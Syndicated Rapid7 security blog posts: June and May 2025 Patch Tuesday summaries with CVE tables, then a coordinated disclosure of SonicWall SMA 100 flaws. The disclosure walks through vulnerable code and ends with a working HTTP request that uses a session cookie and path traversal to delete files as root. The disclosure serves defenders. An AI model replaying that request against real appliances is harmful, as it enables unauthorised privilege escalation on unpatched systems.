Microsoft expects that exploitation of three Office critical RCE vulns patched today is more likely. CVE-2025-47162, CVE-2025-47164, and CVE-2025-47167 share several attributes: each was discovered by prolific researcher 0x140ce, who topped the MSRC 2025 Q1 leaderboard, and each includes the Preview Pane as a vector, which always ups the ante for defenders. Admins responsible for installations of Microsoft 365 Apps for Enterprise — also confusingly referred to as “Microsoft 365 for Office” in the advisory FAQ — will have to hang on, since patches for today’s vulnerabilities aren’t yet available for that particular facet of the Microsoft 365 kaleidoscope.

Microsoft lifecycle update

June is a quiet month for Microsoft product lifecycle changes. The next batch of significant Microsoft product lifecycle status changes are due in July 2025, when the SQL Server 2012 ESU program draws to a close, along with support for Visual Studio 2022 17.8 LTSC.

Patch Tuesday - June 2025
Patch Tuesday - June 2025
Patch Tuesday - June 2025

Summary charts

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-47977 Nuance Digital Engagement Platform Spoofing Vulnerability No No 7.6

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-5419 Chromium: CVE-2025-5419 Out of bounds read and write in V8 No No N/A
CVE-2025-5068 Chromium: CVE-2025-5068 Use after free in Blink No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-47962 Windows SDK Elevation of Privilege Vulnerability No No 7.8
CVE-2025-30399 .NET and Visual Studio Remote Code Execution Vulnerability No No 7.5
CVE-2025-47959 Visual Studio Remote Code Execution Vulnerability No No 7.1

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-47966 Power Automate Elevation of Privilege Vulnerability No No 9.8

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-47172 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2025-47163 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2025-47166 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2025-47957 Microsoft Word Remote Code Execution Vulnerability No No 8.4
CVE-2025-47162 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-47953 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-47164 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-47167 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-47168 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-47169 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-47170 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-47175 Microsoft PowerPoint Remote Code Execution Vulnerability No No 7.8
CVE-2025-47176 Microsoft Outlook Remote Code Execution Vulnerability No No 7.8
CVE-2025-47173 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-47165 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-47174 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-47968 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7.8
CVE-2025-47171 Microsoft Outlook Remote Code Execution Vulnerability No No 6.7

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-33067 Windows Task Scheduler Elevation of Privilege Vulnerability No No 8.4
CVE-2025-29828 Windows Schannel Remote Code Execution Vulnerability No No 8.1
CVE-2025-32725 DHCP Server Service Denial of Service Vulnerability No No 7.5
CVE-2025-33050 DHCP Server Service Denial of Service Vulnerability No No 7.5
CVE-2025-32721 Windows Recovery Driver Elevation of Privilege Vulnerability No No 7.3
CVE-2025-32719 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33058 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33059 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33061 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33062 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33063 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33065 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-24068 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-24069 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-24065 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33055 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-47956 Windows Security App Spoofing Vulnerability No No 5.5
CVE-2025-33052 Windows DWM Core Library Information Disclosure Vulnerability No No 5.5
CVE-2025-33069 Windows App Control for Business Security Feature Bypass Vulnerability No No 5.1
CVE-2025-47969 Windows Virtualization-Based Security (VBS) Information Disclosure Vulnerability No No 4.4

Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-33073 Windows SMB Client Elevation of Privilege Vulnerability No Yes 8.8
CVE-2025-33064 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2025-33066 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2025-33053 Web Distributed Authoring and Versioning (WEBDAV) Remote Code Execution Vulnerability Yes No 8.8
CVE-2025-32710 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-33070 Windows Netlogon Elevation of Privilege Vulnerability No No 8.1
CVE-2025-33071 Windows KDC Proxy Service (KPSSVC) Remote Code Execution Vulnerability No No 8.1
CVE-2025-32718 Windows SMB Client Elevation of Privilege Vulnerability No No 7.8
CVE-2025-47955 Windows Remote Access Connection Manager Elevation of Privilege Vulnerability No No 7.8
CVE-2025-32716 Windows Media Elevation of Privilege Vulnerability No No 7.8
CVE-2025-32714 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2025-33075 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2025-32713 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-32712 Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2025-33068 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 7.5
CVE-2025-33056 Windows Local Security Authority (LSA) Denial of Service Vulnerability No No 7.5
CVE-2025-32724 Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability No No 7.5
CVE-2025-3052 Cert CC: CVE-2025-3052 InsydeH2O Secure Boot Bypass No No 6.7
CVE-2025-33057 Windows Local Security Authority (LSA) Denial of Service Vulnerability No No 6.5
CVE-2025-32715 Remote Desktop Protocol Client Information Disclosure Vulnerability No No 6.5
CVE-2025-32722 Windows Storage Port Driver Information Disclosure Vulnerability No No 5.5
CVE-2025-32720 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-33060 Windows Storage Management Provider Information Disclosure Vulnerability No No 5.5
CVE-2025-47160 Windows Shortcut Files Security Feature Bypass Vulnerability No No 5.4

Patch Tuesday – May 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/05/13/patch-tuesday-may-2025/

Patch Tuesday - May 2025

Microsoft is addressing 77 vulnerabilities this May 2025 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation for five of the vulnerabilities published today, and these are already reflected in CISA KEV. Separately, Microsoft is aware of existing public disclosure for two vulnerabilities published today. This is now the eight consecutive Patch Tuesday on which Microsoft has published zero-day vulnerabilities without evaluating any of them as critical severity at time of publication. Today also sees the publication of six critical remote code execution (RCE) vulnerabilities. Six browser vulnerabilities have already been published separately this month, and are not included in the total.

Windows Scripting Engine: zero-day RCE

In the majority of cases, the CVSSv3 base score provides a solid sense of the severity of a vulnerability. Sometimes, however, even a correct CVSS assessment can disguise the potential impact of a specific vulnerability. This arguably the case with CVE-2025-30397, a zero-day RCE vulnerability in the Windows Scripting Engine with a healthy but unremarkable CVSSv3 base score of 7.5. Microsoft is aware of exploitation in the wild. It’s certainly not the worst of the worst — we save that level of alarm for pre-authentication RCE with no requirement for user interaction —  and Microsoft assesses attack complexity as high, which is arguably correct. And yet…

The advisory FAQ for CVE-2025-30397 explains that successful exploitation requires an attacker to first prepare the target so that it uses Edge in Internet Explorer Mode, and then causes the user to click a malicious link; there is no mention of a requirement for the user to actively reload the page in Internet Explorer Mode, so we must assume that exploitation requires only that the “Allow sites to be reloaded in Internet Explorer” option is enabled. Users who are most likely to require Internet Explorer compatibility mode in 2025 are surely users at enterprise organizations, where critical business workflows still depend on applications from the dinosaur days when Internet Explorer ruled the roost. No doubt the concept of a plan for migration of all of these applications exists, buried several layers deep in a dusty backlog, but Microsoft would hardly be offering IE compatibility mode until at least 2029 if it didn’t know that a huge swathe of its customer base demands it.

If the pre-requisite conditions are already conveniently in place on the target asset thanks to a well-meaning corporate IT policy, attack complexity is suddenly nice and low. If this vulnerability didn’t have that requirement for environment preparation, the CVSS base score would then be 8.8, which is as close to critical as you can get without actually stepping over the line. As Rapid7 has previously noted on a number of occasions, the MSHTML/Trident scripting engine is still present in Windows; this is true even for assets which have only ever run versions of Windows released well after the end of support for Internet Explorer 11 back in June 2022.

Common Log File System: zero-day EoPs

Neither CVE-2025-32701 nor CVE-2025-32706 are the first zero-day vulnerabilities in the Windows Common Log File Driver System; indeed, they are the latest members of an ongoing dynasty where exploitation typically leads to elevation of privilege to SYSTEM. Credit where credit is due: recent disclosures by Microsoft’s own Threat Intelligence Center (MSTIC), including this month’s CVE-2025-32701, demonstrate that Microsoft is putting serious effort into detecting and rooting out CLFS exploitation. Of course, since Microsoft is aware of exploitation in the wild, we know that someone else got there first, and there’s no reason to suspect that threat actors will stop looking for ways to abuse CLFS any time soon.

Windows Desktop Window Manager: zero-day EoP

If proof were needed that elevation of privilege to SYSTEM will never go out of style, today sees the publication of CVE-2025-30400, which is a zero-day vulnerability in the Windows Desktop Window Manager (DWM). As it happens, tomorrow marks the one-year anniversary of CVE-2024-30051, a previous zero-day EoP vulnerability in DWM.

Visual Studio: zero-day RCE

Today, all current versions of Visual Studio 2022 and 2019 receive patches for CVE-2025-32702, a zero-day RCE where exploitation requires the user to download and open a malicious file. There is nothing obviously remarkable about this, although Microsoft is aware of public disclosure. As usual for a malicious file/link vuln, the word Remote here refers to the location of the attacker, even though exploitation is set in motion by local user action.

Ancillary Function Driver for Winsock: zero-day EoP

Regular Patch Tuesday watchers will recognize the Ancillary Function Driver for Winsock, which is the site of CVE-2025-32709, an elevation of privilege vulnerability for which Microsoft is aware of exploitation. In something of a break with tradition for Patch Tuesday zero-day EoP vulnerabilities, exploitation only leads to administrator privileges rather than all the way to SYSTEM, but no attacker is going to waste too many cycles feeling sad about that.

Defender for Identity: situationally-ironic zero-day spoofing

Today sees the publication of CVE-2025-26685, a zero-day spoofing vulnerability in Microsoft Defender for Identity. The advisory provides puzzle pieces which don’t by themselves add up to anything like a full explanation of the vulnerability; no action is required for remediation, but you can render yourself vulnerable if you insist by opening a case with Microsoft Support to re-enable the legacy NTLM authentication method.

However, the FAQ does offer a link to an article published yesterday: Configure SAM-R to enable lateral movement path detection in Microsoft Defender for Identity. This solid piece of documentation is part of the overall Defender for Identity administration guide, and explains that the lateral movement path detection feature can itself potentially be exploited by an adversary to obtain an NTLM hash.

Exploitation relies on achieving fallback from Kerberos to NTLM; the compromised credentials in this case would be those of the Directory Service Account for Defender for Identity. The new Defender for Identity sensor (version 3.x) is not affected by this issue as it uses different detection methods; at time of writing, the Defender for Identity What’s new? page doesn’t yet describe the 3.x release, but this will presumably receive an update soon.

Microsoft lifecycle update

The next batch of significant Microsoft product lifecycle status changes are due in July 2025, when SQL Server 2012 ESU program draws to a close, along with support for Visual Studio 2022 17.8 LTSC.

Summary charts

Patch Tuesday - May 2025
Patch Tuesday - May 2025
Patch Tuesday - May 2025

Summary tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29975 Microsoft PC Manager Elevation of Privilege Vulnerability No No 7.8

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29972 Azure Storage Resource Provider Spoofing Vulnerability No No 9.9
CVE-2025-29827 Azure Automation Elevation of Privilege Vulnerability No No 9.9
CVE-2025-30387 Document Intelligence Studio On-Prem Elevation of Privilege Vulnerability No No 9.8
CVE-2025-47733 Microsoft Power Apps Information Disclosure Vulnerability No No 9.1
CVE-2025-33072 Microsoft msagsfeedback.azurewebsites.net Information Disclosure Vulnerability No No 8.1
CVE-2025-29973 Microsoft Azure File Sync Elevation of Privilege Vulnerability No No 7

Azure Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-27488 Microsoft Windows Hardware Lab Kit (HLK) Elevation of Privilege Vulnerability No No 6.7

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29825 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No 6.5
CVE-2025-4372 Chromium: CVE-2025-4372 Use after free in WebAudio No No N/A
CVE-2025-4096 Chromium: CVE-2025-4096 Heap buffer overflow in HTML No No N/A
CVE-2025-4052 Chromium: CVE-2025-4052 Inappropriate implementation in DevTools No No N/A
CVE-2025-4051 Chromium: CVE-2025-4051 Insufficient data validation in DevTools No No N/A
CVE-2025-4050 Chromium: CVE-2025-4050 Out of bounds memory access in DevTools No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29813 Azure DevOps Server Elevation of Privilege Vulnerability No No 10
CVE-2025-26646 .NET, Visual Studio, and Build Tools for Visual Studio Spoofing Vulnerability No No 8
CVE-2025-32702 Visual Studio Remote Code Execution Vulnerability No Yes 7.8
CVE-2025-21264 Visual Studio Code Security Feature Bypass Vulnerability No No 7.1
CVE-2025-32703 Visual Studio Information Disclosure Vulnerability No No 5.5

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29962 Windows Media Remote Code Execution Vulnerability No No 8.8
CVE-2025-29966 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2025-29967 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2025-32701 Windows Common Log File System Driver Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-32706 Windows Common Log File System Driver Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-30385 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-32709 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-32707 NTFS Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24063 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29831 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 7.5
CVE-2025-30397 Scripting Engine Memory Corruption Vulnerability Yes No 7.5
CVE-2025-29969 MS-EVEN RPC Remote Code Execution Vulnerability No No 7.5
CVE-2025-29833 Microsoft Virtual Machine Bus (VMBus) Remote Code Execution Vulnerability No No 7.1
CVE-2025-27468 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability No No 7
CVE-2025-29959 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29960 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29830 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29832 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29836 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29958 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29961 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability No No 6.5
CVE-2025-29835 Windows Remote Access Connection Manager Information Disclosure Vulnerability No No 6.5
CVE-2025-29968 Active Directory Certificate Services (AD CS) Denial of Service Vulnerability No No 6.5
CVE-2025-29957 Windows Deployment Services Denial of Service Vulnerability No No 6.2
CVE-2025-30394 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability No No 5.9
CVE-2025-29954 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability No No 5.9
CVE-2025-29974 Windows Kernel Information Disclosure Vulnerability No No 5.7
CVE-2025-29837 Windows Installer Information Disclosure Vulnerability No No 5.5
CVE-2025-29956 Windows SMB Information Disclosure Vulnerability No No 5.4
CVE-2025-29839 Windows Multiple UNC Provider Driver Information Disclosure Vulnerability No No 4

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-47732 Microsoft Dataverse Remote Code Execution Vulnerability No No 8.7
CVE-2025-29826 Microsoft Dataverse Elevation of Privilege Vulnerability No No 7.3

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-30377 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-30386 Microsoft Office Remote Code Execution Vulnerability No No 8.4
CVE-2025-32704 Microsoft Excel Remote Code Execution Vulnerability No No 8.4
CVE-2025-30382 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.8
CVE-2025-29976 Microsoft SharePoint Server Elevation of Privilege Vulnerability No No 7.8
CVE-2025-29978 Microsoft PowerPoint Remote Code Execution Vulnerability No No 7.8
CVE-2025-32705 Microsoft Outlook Remote Code Execution Vulnerability No No 7.8
CVE-2025-29977 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-29979 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30375 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30376 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30379 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30381 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30383 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30393 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-30384 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.4
CVE-2025-30378 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7

Microsoft Office ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-30388 Windows Graphics Component Remote Code Execution Vulnerability No No 7.8

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-26684 Microsoft Defender Elevation of Privilege Vulnerability No No 6.7
CVE-2025-26685 Microsoft Defender for Identity Spoofing Vulnerability No Yes 6.5

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-29964 Windows Media Remote Code Execution Vulnerability No No 8.8
CVE-2025-29840 Windows Media Remote Code Execution Vulnerability No No 8.8
CVE-2025-29963 Windows Media Remote Code Execution Vulnerability No No 8.8
CVE-2025-30400 Microsoft DWM Core Library Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-29970 Microsoft Brokering File System Elevation of Privilege Vulnerability No No 7.8
CVE-2025-26677 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability No No 7.5
CVE-2025-29971 Web Threat Defense (WTD.sys) Denial of Service Vulnerability No No 7.5
CVE-2025-29842 UrlMon Security Feature Bypass Vulnerability No No 7.5
CVE-2025-29838 Windows ExecutionContext Driver Elevation of Privilege Vulnerability No No 7.4
CVE-2025-29841 Universal Print Management Service Elevation of Privilege Vulnerability No No 7
CVE-2025-29955 Windows Hyper-V Denial of Service Vulnerability No No 6.2
CVE-2025-29829 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability No No 5.5

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2025/05/07/multiple-vulnerabilities-in-sonicwall-sma-100-series-2025/

Overview

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

In April of 2025, Rapid7 discovered and disclosed three new vulnerabilities affecting SonicWall Secure Mobile Access (“SMA”) 100 series appliances (SMA 200, 210, 400, 410, 500v). These vulnerabilities are tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821. An attacker with access to an SMA SSLVPN user account can chain these vulnerabilities to make a sensitive system directory writable, elevate their privileges to SMA administrator, and write an executable file to a system directory. This chain results in root-level remote code execution. These vulnerabilities have been fixed in version 10.2.1.15-81sv.

Rapid7 would like to thank the SonicWall security team for quickly responding to our disclosure and going above and beyond over a holiday weekend to get a patch out.

Vulnerability table

CVE Description Affected Service CVSS
CVE-2025-32819 An authenticated attacker with user privileges can delete any file on the SMA appliance as root to perform privilege escalation to the administrator account. Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild. HTTP (Port 80), HTTPS (Port 443) 8.8 (High)
CVE-2025-32820 An authenticated attacker with user privileges can inject a path traversal sequence to make any directory on the SMA appliance writable by all users, including the nobody user. Any existing file on the system can also be overwritten with junk contents as root. HTTP (Port 80), HTTPS (Port 443) 8.3 (High)
CVE-2025-32821 An authenticated attacker with administrator privileges can inject shell command arguments to upload a fully controlled file anywhere that the nobody user can write to. HTTP (Port 80), HTTPS (Port 443) 6.7 (Medium)

Credit

These vulnerabilities were discovered by Ryan Emmons, Staff Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s coordinated vulnerability disclosure policy.

Remediation

To remediate CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, SonicWall SMA administrators should update to the latest version, 10.2.1.15-81sv. For additional information, please see SonicWall’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821 with an unauthenticated vulnerability check expected to be available in today’s (May 7) content release.

Analysis

The appliance tested was ”SMA 500v for ESXi” running version 10.2.1.14-75sv, the latest available at the time of research.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32819

An attacker with access to a low-privilege SMA user account can delete any file as root. This vulnerability appears to be a patch bypass for a previously reported arbitrary file delete vulnerability. That original vulnerability was disclosed by NCC Group in 2021, and a patch was previously released in the 10.2.0.9-41sv and 10.2.1.3-27sv patch cycle. Rapid7 is not aware of any specific CVE assigned to this original vulnerability; the NCC Group blog post states that a CVE was not shared with them, and we didn’t see a clear 1:1 match on the SonicWall PSIRT page.

Based on our testing, the unauthenticated arbitrary file delete vulnerability disclosed by NCC Group was patched by adding an authentication check. However, that authentication check is satisfied with a valid low-privilege session cookie, so exploitation is still viable. An attacker can exploit this vulnerability with low privileges to elevate to SMA administrator. This can be chained with CVE-2025-32820 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Note: Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild.

In /usr/src/EasyAccess/www/conf/httpd.conf, we observe that the /fileshare/sonicfiles web path is mapped to the sonicfiles.py Flask application.

WSGIScriptAliasMatch ^/fileshare/sonicfiles /usr/src/EasyAccess/www/python/sonicfiles/sonicfiles.py
WSGIScriptAliasMatch ^/report    /usr/src/EasyAccess/www/python/sonicfiles/report.py
WSGIScriptAliasMatch ^/threat/__api__/v1 /usr/src/EasyAccess/www/python/authentication_api/threat_api.py

Within sonicfiles.py, we find the function main_handler, which is a main function that enforces authentication checks and dispatches various “RacNumber” SMB operations. At [A], we see an authorization check being performed before the primary API functionality is reachable.

@application.route('/sonicfiles', methods=['GET', 'POST']) 
@application.route('/', methods=['GET', 'POST'])
def main_handler():

    #Get the required config if its not set
    #application.get_config()
    prog = 'fileexplorer'

    '''Alternate method for CSRF

    referrer = request.referrer
    parsed_referrer = urlparse(request.referrer)
    if((referrer is None) or (parsed_referrer.hostname != request.host)):
        print("Referrer something is wrong")
        return HttpErrorCode["NOT_PERMITTED_AUTH"]
    '''

    #set the log level to Debug when don't get the setting from SMA settings.
    application.set_log_level(logging.DEBUG)

    authResult = application.authorizationCheck() # [A]
    if authResult:
        response = make_response(str(HttpErrorCode["NOT_PERMITTED_AUTH"][0])) 
        response.headers['content-type'] = 'text/plain'
        response.headers['Cache-Control'] = 'no-cache'
        logger.info("::SONICFILES:: Authorization check failed {}".format(authResult))
        return response, HttpErrorCode["NOT_PERMITTED_AUTH"][1]

    racNum = request.args.get('RacNumber', RacNumber.RAC_INVALID, int)
    if racNum is RacNumber.RAC_INVALID:
        return 'Invalid invocation', 500 

    smbshare = FileShare(application)
[..SNIP..]

Let’s investigate what application.authorizationCheck is. It’s defined in pythonApi.py:

 def authorizationCheck(self):
        return self.api.authorizationCheck(self.get_connection_id(), request.method, request.args.get('swcctn'))

The self.get_connection_id function is depicted below. It fetches the swap cookie ([B]), which is the primary session cookie, then decodes it as base64 ([C]) and returns it.

  @staticmethod
    def get_connection_id():
        if (SONICFILES_UNIT_TEST_MODE):
            #connection = request.args.get('sessionid', "", string)
            sessionid = request.args.get('sessionid')
            connection = base64.b64decode(sessionid).decode('utf-8')
            print(connection)
            return connection

        swap = request.cookies.get("swap") # [B]
        if swap == None:
            return ""

        connection = base64.b64decode(swap).decode('utf-8') # [C]
        mask_connection = connection.replace(connection[4:-4], (len(connection)-8) * '*') # abcd***...***ABCD
        logger.debug("::SONICFILES:: session {}".format(mask_connection))
        return connection

Since the primary authorizationCheck function is a SWIG function implemented in native code, the decompiled cleaned up C for that is depicted below. It calls sessionGetAndRefresh ([D]), which queries the web application’s SQLite primary database on disk, to determine whether the provided session is an authenticated one. If it’s valid (and if the CSRF token matches when the ‘POST’ method is used), it returns a success code ([E]).

0001b2e0    int32_t authorizationCheck(int32_t sessionId, char* method, int32_t swcctn)

0001b2e0    {
0001b2e0        int32_t currentSessionId = sessionId;
0001b315        int32_t sessionHandle = sessionGetAndRefresh(dbhGet(0), currentSessionId); // [D]
0001b31a        bool match = !sessionHandle;
0001b31a        
0001b31e        if (!sessionHandle)
0001b37b            return -1;
0001b37b        
0001b320        char* methodPointer = method;
0001b324        int32_t compareChars = 5;
0001b329        char const* const compareStr = "POST";
0001b329        
0001b32f        while (compareChars)
0001b32f        {
0001b32f            char mChar = *(uint8_t*)methodPointer;
0001b32f            char const compareChar = *(uint8_t*)compareStr;
0001b32f            match = mChar == compareChar;
0001b32f            methodPointer = &methodPointer[1];
0001b32f            compareStr = &compareStr[1];
0001b32f            compareChars -= 1;
0001b32f            
0001b32f            if (mChar != compareChar)
0001b32f                break;
0001b32f        }
0001b32f        
0001b331        if (match)
0001b331        {
0001b35f            currentSessionId = swcctn;
0001b35f            
0001b36a            if (doCSRFCheckForCgi(sessionHandle, currentSessionId))
0001b36a            {
0001b36f                sessionFree(sessionHandle);
0001b374                return -2;
0001b36a            }
0001b331        }
0001b331        
0001b336        sessionFree(sessionHandle, currentSessionId);
0001b33b        return 0; // [E]
0001b2e0    }

That establishes that any low-privileged user can call RacNumber functions via the sonicfiles API. In 2021, NCC Group outlined how the RAC_DOWNLOAD_TAR function (RacNumber=44) could be exploited with a path traversal for privileged arbitrary file deletion. That download_tar code does not appear to have been modified from what the NCC Group blog post shows, since the “/tmp” directory string is still unsafely concatenated with tainted web parameters ([F]); only the authentication check outlined above in main_handler appears to have been implemented as a fix.

  def download_tar(self, partialCmd):
        arg1 = self.get_decoded_url('Arg1')
        foldername = request.args.get('Arg2')
        timestamp = request.args.get('timestamp')
        list_file_path = None
            
        cmd_list = partialCmd.split()
        cmd_list.append(arg1)
        cmd_list.append(foldername)
        cmd_list.append("stdout")
        #appending verbose

        logger.debug("{} download_tar:: cmd_list: {}, timestamp {}".format(SONICFILES, cmd_list, timestamp))

        if timestamp is not None:
            swcctn = request.args.get('swcctn')
            list_file_path = '/tmp/' + swcctn + '_' + timestamp # [F]
            cmd_list.append(list_file_path)

        self.get_cred(cmd_list,arg1)#Appends cred to the list
        current_time = datetime.datetime.now().time()
        logger.debug("{} Download Start time : {}".format(SONICFILES, current_time.isoformat()))
		
        cmd_bytes_list = str_list_to_uft8_bytes_list(cmd_list)
        downloadsubprocess = subprocess.Popen(cmd_bytes_list,stdout=subprocess.PIPE,shell=False)
[..SNIP..]

Exploitation

We’ll start by creating a user named lowpriv with low user-level SMA privileges. This user account should not have access to any administrative functionality, and it will act as our victim account for exploitation. We’ll login to the SMA web service listening on port 443 and establish that we have access to this standard user account.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll create two attacker-owned files as root to demonstrate the privileged arbitrary file delete.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Next, we’ll grab our lowpriv user’s session cookies and use them to perform the malicious file delete web request. The server will return a generic 500 code error response.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../tmp/rootfile HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MHo5dTZvQkNRcXhVWDVpMFo1MktCRGZmYkZjSE9CZm1FUU9QOWdUek5BZz0="; swcctn=JKUKl0KiKYX5Kf4nY7700B4lb5N7M1PD
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
